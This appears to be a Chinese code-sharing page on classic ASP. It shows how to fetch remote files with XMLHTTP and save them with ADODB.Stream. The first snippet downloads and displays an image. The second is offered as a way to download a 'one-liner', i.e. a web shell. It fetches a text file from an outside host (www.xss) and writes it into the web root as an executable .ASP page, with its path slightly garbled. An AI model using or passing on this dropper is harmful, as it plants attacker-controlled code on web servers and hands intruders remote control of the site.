Asp中利用xmlhttp下载远程图片、文件,并保存到本地

作者:袖梨 2022-06-30

例2

二进制方式下载远程图片、文件,并保存到本地:

 代码如下 复制代码

Private Function GetPicture(X) '获取图片数据
    Set xml = Server.CreateObject("Microsoft.xmlhttp")
    xml.Open "GET", X, False
    xml.Send
    GetPicture = xml.ResponseBody
    Set xml=Nothing
End Function

Dim Tmp
Tmp = GetPicture(Url) '获取图片数据

Set ADO = Server.CreateObject("ADODB.Stream")
ADO.Type = 1 'adTypeBinary
ADO.Open
ADO.Write Tmp
ADO.SaveToFile P, 2 '保存为文件
ADO.Close

Response.ContentType = "image/jpeg"
Response.BinaryWrite Tmp '输出图片数据

 

asp中通过xmlhttp下载一句话代码,需要的朋友可以参考下

分享一下

在3est活动中学习的godlong的

代码如下:

 代码如下 复制代码

<%
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xss/1.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "E:WWWROOTfuck1.ASP",2
%>

相关文章

精彩推荐